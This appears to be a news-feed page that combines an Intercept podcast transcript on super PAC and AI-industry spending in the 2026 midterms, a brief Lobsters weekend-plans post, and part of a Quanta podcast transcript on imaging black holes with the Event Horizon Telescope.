“No matter which party gets control of either or both houses of Congress, there will be a lot of people elected next week who got there on the backs of Big Tech and special interests,” said Hibbett.

“They’re backing a lot of people in safe seats who don’t really have a tight election,” Sledge added. “The goal may just be to buy themselves a few friends in Congress, because sometimes in Congress, it’s just as good to have a few people who can stop regulation as it is to have people who can shape and actually pass laws.”

For more, listen to the full conversation of The Intercept Briefing on Apple Podcasts , Spotify , YouTube, or wherever you listen to podcasts.

Transcript

Jessica Washington: Welcome to The Intercept Briefing, I’m Jessica Washington, politics reporter at The Intercept.

On Tuesday, voters will head to the polls to cast their ballots in the most expensive election cycle ever in terms of campaign ad spending, even outpacing past presidential elections. That’s according to AdImpact.

North of $16 billion has been raised this cycle, with ad spending in House and Senate races topping $4 billion . Billionaire Elon Musk has dumped hundreds of millions into races across the country, using his enormous personal wealth to sway the election in favor of Republicans. Musk, who has a home and multiple businesses in Texas, has taken a particular interest in the state’s Senate race between Republican candidate Ken Paxton and Democratic candidate James Talarico.

Most of the money from Musk and other donors has flowed not to candidates, but to powerful super PACs representing a variety of different special interests.

That super PAC spending is the subject of my colleagues, Intercept politics reporter Matt Sledge and senior politics reporter Akela Lacy’s new project, tracking how money is flowing into the midterms.

Maia Hibbett, managing editor for The Intercept, and Matt Sledge join me now to talk about the project and how big money is shaping the midterms.

Matt, Maia, welcome back to The Intercept Briefing

Maia Hibbett: Thanks for having us.

Matt Sledge: Thank you for having us, Jessie.

JW: Maia, I want to start with you. As a part of the super PAC project, The Intercept tracked how millions of dollars flow through the pro-Israel lobby in the United States.

What did the reporting reveal about how the American Israel Public Affairs Committee and affiliated groups like the United Democracy Project mask their influence in U.S. elections in a political landscape where AIPAC’s contributions and endorsements have become largely politically toxic?

MH: The reporting showed that AIPAC and its affiliated super PAC UDP are a little bit weakened, but they’re still pretty dominant.

The narrative out of this midterm cycle, especially during the primaries, was largely focused on a few high-profile races that an AIPAC-backed candidate lost — and that was a huge shock. These big upsets were AIPAC or UDP or a related group that, we can talk about a little bit later, had poured money into, and then the candidate didn’t succeed.

But if you look at it in the aggregate, what the data overall reveals is that they’re still spending a ton of money on a lot of races, and more often than not, their candidates are still winning. It is still quite meaningful money. And even though AIPAC has been discussed as going underground, they are still directly invested in a lot of races.

JW: I want to get into AIPAC’s shifting strategy and their latest announcement on that. But first, Matt, I wanted to talk about your reporting. AI super PACs have poured tens of millions of dollars into this election cycle.

What do we know about the people and companies behind these super PACs? This may seem obvious, but what are they hoping to gain with this level of spending? Are there specific examples of friendly legislation these varied interest groups are hoping their candidates will see through if they win?

MS: To answer your second question, I think it’s really more about setting the tone for future regulation at the federal level. You have two big super PAC networks. One is affiliated with OpenAI, and they broadly favor a laxer regulatory scheme for AI. Then there’s another network that’s affiliated with Anthropic that paints itself as supporting a stricter regulatory scheme.

“It’s really more about setting the tone for future [AI] regulation at the federal level.”

Skeptics will point out that these networks are both backed by big AI companies. So at the end of the day, they’re probably going to favor regulation that is favorable to the AI companies. I get into this a little bit in my story, but, just in the last few months, there’s also been this constellation of other smaller groups that are sometimes backed by individual employees at these firms or just by people concerned about AI that are pushing for stricter regulatory regimes and aren’t as directly connected to one of the big companies.

JW: Matt, I’m curious about the impact on voters here. CNBC analysis from early October found that mega-donors this election season were overwhelmingly backing Republicans with contributions largely flowing from AI, crypto, and online gambling interests: “Fourteen of the 20 largest donors and donor groups this election cycle have exclusively or nearly exclusively backed GOP candidates or aligned groups.”

Matt, are we seeing voters become more receptive to Republicans as a result of all this ad spending? Is it working on the voter base?

MS: It’s always hard to tease out the impact of an individual super PAC or industry, because you have to keep in mind that a lot of the time, if you’re a crypto super PAC, or an AI super PAC — or more recently, a prediction market super PAC — they are not running pro-crypto or pro-AI ads.

They are running ads that look very similar to everybody else’s . Often, they’re doing negative campaigning that campaigns don’t want to do themselves, and they have such vague names that they’re not associated with crypto or AI. So I do think ads have an impact on the races, but overall what we’re seeing in polls is that it’s not a great environment for Republicans.

So it may have served, just writ large, to potentially soften the blow to Republicans this time around. It does help them to have this many corporate allies, but it may still be overwhelmed by a blue tide.

JW: That makes a lot of sense in terms of just, this is a bad environment for Republicans. They have a president who is unpopular. We have an economy that is not amazing right now. It makes a lot of sense that despite all this ad spending, the baseline of the election is not in favor of Republicans.

Maia, I wanted to get back to something that you had said a little bit earlier about AIPAC and their shifting strategy. AIPAC recently announced that they would no longer officially endorse candidates or give money directly to campaigns.

Were we seeing an early signal of shifting strategies from AIPAC during the 2026 midterm elections? And what does this change actually mean for AIPAC’s influence on our elections?

MH: I’m so glad you asked, because we actually noted early in the 2026 cycle that AIPAC was starting to retreat and change its strategy. Our colleague Akela Lacy wrote a story in December 2025, and the headline was, “AIPAC is Retreating From Endorsements and Election Spending. It Won’t Give Up Its Influence.” I encourage anyone to go back and read that story because it was really prescient about what we would see in the cycle to come, which is that AIPAC used to do all of its spending behind closed doors .

In 2022, it made a big splash when it started doing direct spending in that year’s midterms . The group had helped fund some anti-Bernie Sanders ads during the 2020 presidential campaign, but it was 2022 when it went all in, rather than routing its donations through other groups or through dark-money pathways, it just started giving contributions to candidates .

After it spent so much money in that midterm cycle and in last cycle ‘s 2024 races , and as public sentiment started to turn against the pro-Israel lobby’s interests and people became very critical of the U.S. support for genocide in Gaza, AIPAC started to essentially return to its roots.

I think this is really interesting because in the press it has been talked about as a very new strategy. But really, it’s more that AIPAC is returning to the way it used to do business.

JW: Is that as effective as a strategy — the old model that they had? Should we expect that it’ll have just as much influence on elections as they did previously?

MH: It’s a good question. I don’t know how effective it will be as a strategy. There’s a lot more scrutiny on AIPAC now than there was a few years ago, and so it’s much more difficult for them to hide what they’re doing because there are journalists like us who are going to try to follow the money and say, maybe you gave to something that’s called Elect Chicago Women , but it’s actually from UDP, which is the super PAC for AIPAC.

I think in some cases, they can’t get away from the public perception that now exists. But on the other hand, there are many voters who might not really pay attention to the name of the PAC that sponsored the ad that they saw, and then go look it up and see where the money came from. So it remains to be seen how effective it will be.

“It’s much more difficult for them to hide what they’re doing because there are journalists like us who are going to try to follow the money.”

JW: Not everyone is reading The Intercept before voting, as they should, but it’s fine.

Matt, I wanted to get back to you because there’s a lot happening with these big AI super PACs. You noticed in your reporting that, after spending a lot in the primaries in New York in particular, but in other places as well, the big AI super PACs have gone pretty much quiet in the general election.

Are AI super PACs responding to public backlash in the same way that AIPAC is? What have you observed in terms of why they’ve gone a little bit quieter?

MS: In response to your question about backlash, I think the answer is yes.

“It’s just a dramatic decline in spending from the primaries to the generals — even though they still have money they can tap.”

They’re on this kind of accelerated timeline going through what AIPAC went through over the course of five years but essentially in five or six months. The polls are just so startling on the public’s transformation on AI and data centers over the last year. It’s just such a rapid change in public opinion, and the entire life cycle of these AI super PACs, which started about a year ago, has followed that evolution of the public’s opinion.

It’s just a dramatic decline in spending from the primaries to the generals — even though they still have money they can tap. Leading the Future, which is the OpenAI-aligned network, they started first, and then the Anthropic-aligned network, Public First, they started a few months later as a response to the Leading the Future network.

So it seems like, from what we’ve been able to tell, Leading the Future scaled back on spending as the general election came about, and Public First responded in turn and also scaled back its operations. That doesn’t mean they’re not spending anything, and we have seen a slight uptick in the final few days of this election when ads are probably just less effective than they would have been a couple weeks ago.

“If Darline Graham narrowly gets away with winning her race in South Carolina of all places … then you can still say that Leading the Future and the AI industry played a pretty important role in the general race.”

One really notable race is now South Carolina, where Leading the Future is helping prop up Sen. Darline Graham , who hasn’t been a great fundraiser on her own. So there’s actually still a world where AI plays a decisive role in this election in terms of control of the Senate.

If Darline Graham narrowly gets away with winning her race in South Carolina of all places, and that narrowly hands control of the Senate back to the Republicans, then you can still say that Leading the Future and the AI industry played a pretty important role in the general race.

JW: Just to be clear, you’re referring to Darline Graham, Lindsey Graham’s sister, correct?

MS: That’s correct.

JW: Maia, speaking of Big Tech, you also edited a story from Intercept reporter Jonah Valdez looking at how tech leaders, including John Hering, are dumping millions into the LA city attorney race to block Marissa Roy, a DSA-backed candidate, from winning. What is going on here — why such an interest in a race most people are likely not paying any attention to?

MH: City attorneys are one of those jobs that, as you said, a lot of voters don’t pay attention to them. I think a lot of people in cities all over the country maybe couldn’t tell you who the top lawyer of whatever city they live in even is. But this is a job that is largely tasked with enforcing regulations and laws and making companies that might be based in that city or might operate in that city comply with them.

Marissa Roy, this DSA-backed candidate, is currently a deputy attorney general for the state of California, and she’s one of the people who helped the state prosecute this historic Meta settlement where Meta ended up having to pay $17 billion for harms to children using its technology.

We don’t know exactly why John Hering and other tech leaders, like the founders of Ring and Tinder and investors in Anthropic and SpaceX, are spending so heavily in this race, but you might be able to conclude that they’re interested in preventing a person who just helped carry out this huge settlement against Meta from becoming the city attorney of LA.

Some of them are funding a group that’s called Neighbors for John McKinney, which is backing the opponent in the race. John McKinney is the other candidate, and he is much less likely to win, but is propped up now by a lot of spending. They frame him as a tough-on-crime candidate; they say he’s going to restore order to LA, help clean it up is the idea.

Like Matt was saying, often these tech investments in races don’t actually foreground the interests of Big Tech, and they don’t say explicitly, “We want to stop this person from coming into office because we’re worried they’re going to regulate our industry.” Instead, they find a different issue and spend money on that.

It’s also worth noting that John Hering, his group, frames John McKinney as a lifelong Democrat and very anti-MAGA, is the language they use. But John Hering himself is a big ally of Elon Musk . He has been an eager investor in his companies. He said Musk was an “American hero” this year, and he has spent pretty heavily also to support Musk’s America PAC and the Trump campaign after previously spending on the Hillary Clinton presidential campaign.

Like many Silicon Valley types, he’s had an evolution. And although he lives in San Francisco, he also spent in favor of Spencer Pratt for LA mayor .

JW: Wow. Yeah, Big Tech has really come a long way from the ’08 years in terms of their relationship with Democrats and Republicans, and propping up Spencer Pratt.

Matt, I want to bring you in and get your perspective and kind of big picture. What has made this election cycle so popular for Big Tech?

MS: When it comes to AI and crypto and the prediction markets, it’s knowing that the next few years are really going to be critical for them in terms of regulation. These are all fairly young industries, and the rules haven’t been set yet . The Trump administration is doing its best to set them, but Congress has not had a final word on any of those industries.

They see a chance to shape the rules in a way that favors them, and they’re just using the old Washington playbook of spending a bunch of money on campaigns and a bunch of money on lobbyists to try to shape the rules in their favor.

JW: Is this just also a matter of them having more money to play with than they’ve had before? Is this something tech probably would have done years ago if they’d had this access to capital? Or is this really, like you said, just they’re aware that there is existential risks to their industry if they don’t?

MS: Tech for the last few decades has had a lot of money. It’s just been a huge part of the U.S. economy. But I think this move into more regulated spaces is maybe what’s newer.

When Microsoft is creating an internet browser or a word processor, that creates potential antitrust issues, and they have to spend political money in that sense. But they’re not playing in the same kind of highly regulated financial spaces, and nobody ever thought that Clippy posed an existential risk to humanity . So we are moving into new territory when it comes to techs.

JW: I miss Clippy. That is my one comment on that.

I want to get both of you back in here. We’ve been talking about some of the biggest donors in American politics today, and a few special interest groups in particular who’ve obviously been experiencing public backlash — AIPAC, AI, and data centers.

What do you make of this new record-level spending in a midterm election in particular? We’ll obviously have more answers on this next week, but from what you’ve observed so far, is it having the intended impact on voters? Maia, let’s start with you.

MH: I think to use the cop-out that we keep coming back to, we won’t really know if it worked with voters until after the results next week. But it’s clear in this midterm cycle and maybe this is a reminder of kind of a perpetual truth in, when it comes to money in politics, that these big spenders are always going to fund candidates on both sides of the aisle. Often election narratives and questions about special interests will really look to one party or the other and try to map this kind of spending onto partisan issues.

While some of that certainly happens, I think no matter which party gets control of either or both houses of Congress, there will be a lot of people elected next week who got there on the backs of Big Tech and special interests.

That is something that voters are more and more aware of and more and more frustrated by, and we did see a lot of rejection of that kind of big-money spending in the primaries . But ultimately, I don’t know how much that narrative has changed.

JW: Matt, I know you’ve seen some specific examples of this impacting elections. Can you talk about that a little bit?

MS: One of the things that’s been really interesting in the general election races is this race from candidates to paint themselves as the more pro-AI safety, pro-AI regulation candidate.

I’ve done some reporting in Michigan’s 7th [Congressional] District , where a co-founder of the Sunrise Movement is trying to unseat an incumbent Republican, and he has from the start really run on being an anti-data center candidate, campaigning with local activists in small towns of a few thousand people.

His Republican opponent is now also trying to paint himself as a data center skeptic — using different language, more language about local control than about big, bad companies.

But there’s been such a backlash that we’ve seen some changing tactics from the big AI super PACs in the runoff. One has donated money to a nonprofit that’s more focused on building support for data centers . Good luck with that, I guess.

And then another, the Anthropic-aligned network, has essentially handed off money to a pro-Scott Wiener super PAC in California that already existed and already has funding from other tech leaders in the San Francisco area. But that donation has generated this whole fight between Scott Wiener and his opponent, Connie Chan , over who is the more pro-AI regulation candidate now. So it’s a lot of candidates fighting to be the more pro-regulation candidate.

Just thinking back to your question about the effect on voters, I think for the super PACs and for their funders, the impact on candidates may ultimately be more important, on elected officials. They’re backing a lot of people in safe seats who don’t really have a tight election. The goal may just be to buy themselves a few friends in Congress, because sometimes in Congress, it’s just as good to have a few people who can stop regulation as it is to have people who can shape and actually pass laws.

JW: That’s a good point. Speaking of the election, which we know is just days away, what are you two going to be following closely next week? Maia, I want to start with you.

MH: There’s obviously a lot to follow next week, and more races than we can keep track of. One I think that will be very interesting that I was thinking about in terms of AIPAC spending — when Matt just mentioned this thing about AI groups backing candidates who are not in close races — is, of course, the Senate race in Maine.

One of the interesting takeaways we found in this AIPAC project is that in the primaries when AIPAC was spending, as it does in, in various races, one of the top recipients of its money was Susan Collins — who at the time did not have a primary challenger, but it spent heavily to support her primary campaign.

So we’ll obviously watch the Collins–Jackson race in Maine. We have a reporter going there. Matt’s going to go to Michigan. We also have a reporter going to Texas to track some of the big Senate races. Depending on how the results look, I think we’ll pretty quickly be pivoting to accountability for, coverage for the people who are elected, who, maybe entered office vowing not to take corporate PAC money or not to take special-interest money, and to keep an eye on those now Congress members and see if they vote like it or if they continue to have that policy once they’ve been elected.

JW: And Matt, what are you following?

MS: As Maia mentioned, I will be in Michigan. Super interested in that 7th District race that I mentioned between Will Lawrence and Tom Barrett. But then the race everybody’s going to be spinning and talking about for weeks probably: the Mike Rogers /Abdul El-Sayed race. It just is going to carry so much narrative heft going forward about what the voters were trying to say.

Where are you going to be, Jessie? What are you going to be up to?

JW: I will be in D.C., and I’ll be looking at what it means to have yet another election with the National Guard in town and essentially in an occupied city.

I’ll also be looking into what it would mean for the district to have a socialist mayor, Janeese Lewis George , who is almost certain to win on Tuesday, particularly when it comes to ICE and the Metropolitan Police Department’s collaboration with ICE. That’s going to be something I’m really keeping an eye on, not just on Election Day, but going forward to see if she can implement some of these really bold ideas that she’s proposing in a city that’s very constricted in what it can actually do because of federal law.

But that’s enough previewing from me. We’re going to leave it there. Maia, Matt, thank you so much for joining me on The Intercept Briefing.

MH: Thanks again.

MS: Thanks for having us.

JW: And thank you for listening. Next week we’ll be back in your feed early with a special midterm election episode, so stay tuned.

That does it for this episode. We want to hear from you. Tell us what you’re following or want to see more coverage of. Email us at podcasts@theintercept.com or leave us a voice mail at 530-POD-CAST, that’s 530-763-2278.

This episode was produced by Laura Flynn. Jordan Uhl is our social media producer. Ben Muessig is our editor-in-chief. Maia Hibbett is our managing editor. Nara Shin is our copy editor. William Stanton mixed our show. Legal review by David Bralow. Slip Stream provided our theme music.

This show and our reporting at The Intercept do not exist without you. Your donation, no matter the amount, makes a real difference. Keep our investigations free and fearless at theintercept.com/join .

And if you haven’t already, please subscribe to The Intercept Briefing wherever you listen to podcasts. Do leave us a rating or a review, it helps other listeners find our reporting.

Until next time, I’m Jessica Washington.

What are you doing this weekend?

Lobsters
lobste.rs
2026-10-30 05:55:20
Feel free to tell what you plan on doing this weekend and even ask for help or feedback. Please keep in mind it’s more than OK to do nothing at all too!...
Original Article

Feel free to tell what you plan on doing this weekend and even ask for help or feedback.

Please keep in mind it’s more than OK to do nothing at all too!

How Do You Take a Picture of a Black Hole?

Hacker News
www.quantamagazine.org
2026-10-30 05:49:02
Comments...
Original Article

Black holes are one of the universe’s most exotic and elusive objects. When nothing, not even light, can escape their powerful gravitational grasp, taking a picture of one seems unimaginable. But an image of a black hole, or more accurately its shadow, could offer insights that theory alone may not provide when testing predictions. So how can it be done?

Harvard astrophysicist Shep Doeleman and a team of 250 researchers achieved this extraordinary feat by linking a group of radio telescopes around the world. This network, called the Event Horizon Telescope, produced the first image of a supermassive black hole in the galaxy M87, around 55 million light-years away, and the first image of the black hole at the heart of our galaxy. In this episode, Doeleman tells co-host Janna Levin how he turned the Earth into a telescope capable of seeing a black hole, the incredible level of science and collaboration that was required to achieve this, how the images have furthered our understanding of these exotic objects, and how movies of black holes may be possible by the early 2030s.

Listen on Apple Podcasts , Spotify , TuneIn or your favorite podcasting app, or you can stream it from Quanta .

Transcript

JANNA LEVIN: Okay. I’m Janna Levin

STEVE STROGATZ: And I’m Steve Strogatz.

LEVIN: And this is The Joy of Why

STROGATZ: A podcast from Quanta Magazine where we look at some of the biggest unanswered questions in math and science today.

LEVIN: Welcome to another episode.

STROGATZ: Great to see you.

LEVIN: Great to see you. I’m pretty excited about this one. I cannot deny or hide it. We’re talking about not only an area where I’ve spent a lot of my life black holes — the greatest, strangest topic out there — but also I had a chance to talk to an old friend. So it’s a fun episode, I hope.

STROGATZ: I’m really looking forward to hearing it. I know you’ve always had a special affection for black holes. I’ve had a chance to interview you in some earlier version of this.

LEVIN: That’s right.

STROGATZ: And you blew my mind over and over about black holes.

LEVIN: Yeah, they require some defense. They’ve got a bad reputation, not entirely earned.

STROGATZ: What’s the bad reputation? Because they like to eat things?

LEVIN: Yeah. You know, black holes, kind of this monster truck language around black holes all the time. You know, they’re like… But actually, black holes are remarkably elegant, clean, simple systems. They leave you alone if you leave them alone. They’re actually quite small for their heft. That’s kind of their whole gestalt, that they’re actually tiny for their heft.

And, uh, you know, though they’re the darkest phenomenon in the universe, they figure out a way to become the brightest beacons that we see on the edge of what’s observable.

STROGATZ: Wow.

LEVIN: So, they’re, they’re pretty awesome. I also think that they’re fundamental to physics, unlike any other macroscopic object you can think of.

STROGATZ: Hmmm. When I think of black holes, I tend to focus on what they do to spacetime. You know, that they cause singularities. It’s their geometry that always grabs me. But that’s not really necessarily the only way to think about black holes. They’re really objects. Real players.

LEVIN: Yeah. I think after people got over the thrill that they actually existed out there and that they could indirectly be detected, there was a sense that they’re not major players in the universe. “Eh, so there’s some black holes out there.”

Quite to the contrary, I think we’ve come to understand that they sculpt our history and our past, that they have a very regulating and important role in determining the shape and size of galaxies and where there might be habitable regions even. And ultimately, we’re kinda doomed to fall into black holes eventually. So, they’re kind of our past and our future.

But, it might surprise people that we had never actually taken a picture of a black hole. All of our evidence had been indirect until about 10 years ago, and that group worked for well over a decade, for some people up to two decades, to try to capture the first picture of a black hole.

STROGATZ: Huh. Wild.

LEVIN: It was a tremendous accomplishment, led by Shep Doeleman, who is our guest. So let me tell you about Shep. Shep is a senior research fellow at Harvard University, the assistant director of Harvard’s Black Hole Initiative, also an astrophysicist at the Smithsonian Astrophysical Observatory.

And he was the founding director of the Event Horizon Telescope Consortium, which is a network of observatories around the world which gave us the first and only images humanity has ever captured of black holes.

STROGATZ: Hmm. This sounds like it’s gonna be a great discussion of science at its best.

LEVIN: Yeah, it’s an epic story. Let’s hear from Shep himself.

[ Music plays ]

LEVIN: Shep, welcome to The Joy of Why .

SHEP DOELEMAN: It’s good to be here, Janna.

LEVIN: It’s a pleasure to have you on the show. I’m really curious if you remember not just your way into black holes, but your way into the entire idea of thinking about the universe?

DOELEMAN: Wow. Well, everybody falls in love with astronomy at some point. I don’t care who you are, you fall in love with astronomy. And whether it’s staring up at the night sky, you know, at summer camp or seeing a meteorite, for me, it was seeing a total solar eclipse. I was 13, 1980. And my parents took me out to the middle of the desert in Oregon and at first we thought we weren’t gonna see totality, the clouds were moving in, and then the clouds just parted and we saw this amazing eclipse. It was just tremendous.

LEVIN: Did you think at that moment, “Well, this is what I’m gonna do for the rest of my life”? Or is it that the memory comes back and we reconstruct the story, you know?

DOELEMAN: That’s a great question. I think it mostly, it just comes back. Life isn’t linear like that. But I will say the idea that there would be these huge objects that were moving and they could align perfectly and allow you to see what would normally be hidden, like the corona of the sun, was startling to me. I mean, it didn’t have to be that way. Like, the angular diameter of the moon doesn’t have to be the same as the sun so they totally block each other out. But these coincidences sometimes give you a special view into nature.

LEVIN: Yeah. I, I love that there’s just this idea that we’re inspired by the firmament, science’s oldest instrument, and that we all have it in common.

Um, so I really feel we have to make a confession ’cause we’ve known each other a really long time. I feel like we met maybe the first week of graduate school at MIT. I think over a cookie table.

DOELEMAN: I think so.

LEVIN: So I remember just you were always trying these crazy ideas in graduate school. You were like a creative curiosity in search of a problem. Tell me a little bit first about how you landed on this idea of pursuing a portrait of a black hole?

DOELEMAN: Portrait of a black hole, I love that. So I graduated high school pretty early. I was 15 years old. And went to college, and then after that I was pretty burned out, and I saw an advertisement that said, “Go to Antarctica and run all these experiments down there.” And I said, “That’s for me.” I interviewed for the position, and somehow they gave it to this 19-year-old kid. They needed some warm body down there to look after the cosmic ray experiments, the aerophotometry experiments, the electromagnetic experiments, and I got a real taste for doing experimental research in difficult circumstances. I just loved it. And then came back to MIT, where I met you in 1988.

LEVIN: Oh, you didn’t have to say the year, man. That was unnecessary [ laughs ].

DOELEMAN: I know, when the Earth was cooling. But, I cast around a bit. I started in the X-ray group there, and then I did a little bit of neuroscience looking at biophysics. And then I was introduced to this idea of turning the Earth into a telescope, and this experiment that we use to image black holes and that immediately drew me in.

LEVIN: Yeah. So we’re gonna talk about this project, but when you were in graduate school, what was the status of black holes scientifically? Were they detected? Did everyone believe that they were real astrophysical phenomena?

DOELEMAN: There was really a sense that black holes existed or strong evidence for them. And of course, there are two flavors of black holes. There are stellar-mass black holes which form during star death. So when a star goes supernova, it will explode the outer shells off, and then the interior part will collapse and if the star is massive enough, it will turn into a black hole, and that black hole could be tens of solar masses.

But then there are these behemoths, these supermassive black holes that live in the centers of galaxies. And while there can be many stellar-mass black holes in a galaxy, there’s probably just one, maybe two, supermassive black holes at the core of any given galaxy.

And for the stellar-mass black holes, people had seen these X-ray binaries, and they were seeing very fast fluctuations in X-rays and even in the radio from these stellar-sized sources. And everything fit with this idea that there was a black hole eating another star that goes an X-ray binary.

LEVIN: And that was Cygnus X-1, a first X-ray object in the direction of the constellation Cygnus, right?

DOELEMAN: Exactly, it was those kinds of sources. And then the radio people predominantly had seen some very high-resolution images that were very troubling. So you would see in the optical, a galaxy would look like a normal run-of-the-mill galaxy with a lot of optical light coming from stars.

But then if you looked at it in the radio, you would see these oppositely directed jets of material all tracing to the center of the galaxy. What is causing that?

And the best idea that people had for that was a spinning supermassive black hole that was energizing jets that moved at near light speed from the north and south pole of that black hole, and it was piercing the entire galaxy.

So from two completely different lines of inquiry you had one flavor of black holes being suspected from the X-ray, and you had another suspected predominantly by the radio.

LEVIN: So even though people started to theorize that these must be black holes, nobody had taken a picture of a black hole, not in the ’70s, ’80s, ’90s, the noughts. I think that was a surprise to people because we talked about them as being such compelling inhabitants of the universe, death states of stars, but we had actually technically never seen one directly. Never taken a portrait. And that’s really what you set out to do in many ways.

DOELEMAN: Yeah. I think the simplest way of saying it is that seeing is believing in a certain way. I mean, you can theorize something, but actually seeing it confers a reality on things that you don’t get otherwise. And there were some really important signatures, too. It wasn’t just seeing it. It was measuring it. Taking the measure of the thing not only gives you confidence in its reality, but you can test predictions.

So in 1915, when Einstein came with his theory of general relativity, which governs the space time around a black hole, and then the year after that Schwarzschild solved it in the trenches of World War I, a story that we know well, even after that, it was pretty clear that if you went to the conclusion of that solution, you would wind up seeing a ring of light around the black hole.

That if a bunch of gas was drawn to the black hole, it heated up to hundreds of billions of degrees because you’re confining it to a small volume, and it emits light. That light would be curved by the gravitational force of the black hole. And from any direction that you look at the black hole, you would see a ring of light. Basically, the emission from behind the black hole lensed around into a ring. And the size of that ring you can derive from Einstein’s equations.

And so we theorized that if we could make a photo, if we could see this ring, we’d be able to measure the mass of the black hole. But also just the ring itself would be like the best evidence for the existence of supermassive black holes at that scale. So it wasn’t just a coffee table book we were after. We were after the real measurement of the fundamental nature of the universe.

LEVIN: Now, when people hear this idea that you’re gonna try to turn the Earth into a telescope or a telescope the size of the world, it sounds like such a crazy lark. What made you think it was viable? It was no mean feat.

DOELEMAN: Yeah. Well, so, so this idea of turning the Earth into a telescope had been around for a long time, since the ‘60s. And the key is that the angular resolution of a telescope or the ability to magnify things on the sky, it scales as the wavelength of light you’re observing, lambda, divided by the size of your telescope.

So if you wanna see things that are really small in the sky, you either reduce your wavelength of light or you expand the size of your telescope. So you’ll often see these huge blocks of glass on top of mountaintops. These huge optical dishes, and they’re big for a reason. They collect a lot of light, but also the bigger they are, the smaller the objects they can see.

LEVIN: The better the resolution.

DOELEMAN: The better the resolution, precisely. And so there are some objects that are so small, and black holes are the smallest objects predicted by Einstein’s theory of gravity, that you need extremely big telescopes, extremely fine angular resolution to see them, and you’ve gotta take this idea of turning the Earth into a telescope to the utmost extremes.

You have to operate it at wavelengths that had never been operated before ’cause you have to really go to smaller and smaller wavelengths to get the angular resolution you need. And that’s what took us 20 years, to push the technique to the absolute limit.

LEVIN: Yeah. So there’s a couple of things. One is a lot of people are surprised to hear that black holes are small. They imagine that they’re enormous. Can you explain that to us? Why they’re actually spatially tiny even though they’re incredibly hefty?

DOELEMAN: Yeah. Black holes simply put are when you confine enough matter into a small enough volume that the force of gravity runs away and the material undergoes catastrophic gravitational collapse into a point of infinite density. And you’d think, “Okay, that’s pretty tiny,” but what happens is that around that is a membrane called the event horizon, and that’s where the gravitational force is so strong that light can’t escape. So that really defines the region of space that we can observe ourselves.

And then astrophysical black holes are not invisible, because you would think to yourself, “Well, if you can’t see it,” because it’s got this event horizon around it, but they attract gas and dust and everything you can imagine to them, and you’re cramming it all into a very, very small space so it heats up. And so in a paradox of their own gravity, these black holes can shine extremely brightly.

And if you get one that’s at the center of a galaxy that weighs millions or billions of times what our sun does, it can outshine all the combined light of the stars in that galaxy. So you see these very small objects, but they can be extremely bright.

LEVIN: So how did they deduce that that’s a black hole if that wasn’t predicted, if that wasn’t expected?

DOELEMAN: Yeah, a lot of it was the timescale of the variations because that tells you the scale of what you’re looking at. So typically in astronomy, if you see something that is varying on a certain timescale, you just say, “Well, I think it can move faster than the speed of light.” And so this gives you an idea of how big that object can be.

And for its luminosity, it was very difficult to think that there could be anything bigger than a black hole that was causing these kinds of fluctuations. And then there was the amount of energy coming out was related to it falling into this gravitational well and energy being liberated. That was another clue that people had. So as you say, there were these indirect methods of modeling what we were seeing as black holes, and the black holes fit the best.

For the supermassive black holes, there people could see the energy coming out of these jets, and really the only mechanism that we could think of was magnetic fields twisting in the warped space time of the black hole itself. And like egg beaters twisting around, they fling these charged particles out at near the speed of light. And the observations were so extreme that really that’s the only model that fit. And miraculously, as you got better and better angular resolution, as you trace the jet all the way down to the center, it kept looking like this jet.

It didn’t break this model. You kept seeing this jet getting closer and closer and closer, and there was this mad idea that we had to see what was causing this.

LEVIN: So let’s distinguish death states of stars, which are the kinds of objects that were creating signals like Cygnus X-1. Two star systems born and died together. One becomes a black hole, the other starts to descend. It gets cannibalized. It creates these X-rays, these jets. These supermassive black holes, at the time we were calling them quasi-stellar objects or quasars, right? It was not understood where these supermassive black holes came from or if they were so prevalent, if they had permeated the entire universe. I mean, it was a surprise, wasn’t it, that those quasars were commonplace, that they probably exist in every single galaxy.

DOELEMAN: Yeah. There’s a lot of different lines of evidence for this. Certainly for the galaxies that are radio loud and where you can do interferometry along the lines of what we did to take the picture of the black hole. There, you wind up seeing these jets of material, and those account for maybe 10% of the galaxies that we see. For the other galaxies, we see these cusps of stellar population that increase dramatically as you get to the center, and so you can postulate that there could be a supermassive black hole there.

And now with better resolution and better telescopes, we’ve seen the statistical velocities of stars very, very close to the center of these galaxies within a couple of light years of these galaxies. And it’s now become clear that all galaxies seem to have these super massive black holes at their cores.

And why some are radio loud, why some emit in the radio waves, why some don’t probably has a lot to do with the direction that you’re looking at them. It also has to do with the evolutionary moment in the lifespan of that galaxy. Some radio loud at some times and some not at other times. So we’re seeing the great variety, like the zoo of galaxies across cosmic time, and we’re fortunate that some of them really exhibit these tremendously illuminating radio structures that we can image with an Earth-sized telescope.

And that’s really what drove the field of radio interferometry. We needed to make a picture that was, let’s say, 10,000 times better than anything that we had made before. And the magic of interferometry is that you can detect radio waves from a black hole, let’s say in Chile, and you can time tag them with an atomic clock so you see all the crests and the troughs of these radio waves as they’re coming in. And you can do the same thing in, let’s say Hawai‘i. And then you can bring those waveforms together and compare them as though they had been received by one huge telescope, and they will be coherent. You can play them back against each other, and you can line up the troughs and the crests. Now this is the secret that allows you to turn the Earth into a telescope.

LEVIN: So this is what you mean when you say very long baseline interferometry or interferometry in general. You’re talking about connecting these dishes around the globe. Now, it’s over decades that this work really begins in imagination, conception, execution. But, when was the Event Horizon Telescope as a project officially founded?

DOELEMAN: Well, it depends. I’d wrote my thesis in 1995 and pushed the technique up to wavelengths that were close but not quite sufficient to do this black hole imaging. So we had a pretty good idea of where we were going. And then we really started in earnest thinking about it in maybe 1998. We started doing experiments that were gonna push it to these frontier frequencies, like 230 gigahertz, that were high enough that it would be able to see through all the gas and dust.

In 2008, we discovered event horizon scale structure in the galactic center. And then, I wrote a paper along with a small number of colleagues for the 2010 Decadal Review, in which we said we’re building an event horizon telescope in the next decade. So that’s when I kinda think we kicked things off. The actual Event Horizon Telescope formed as a body in 2016, and I was the founding director of that.

LEVIN: So, where were the telescopes originally that you were using?

DOELEMAN: Well, let’s see. South Pole, there were two telescopes in Chile, a telescope in Mexico, two telescopes in Hawai‘i, telescope in Arizona — two telescopes now in Arizona. One in Spain, one in France, and that was just enough.

LEVIN: You know, what’s so fascinating about this project, was that all of these telescopes existed. The idea was to use telescopes that already existed that were being used for other purposes, not the same idea at all as building a satellite and starting from scratch.

How did that go over, this idea of trying to build a coalition out of all of these different observatories? And, it’s a really international collaboration. I mean, hundreds of people.

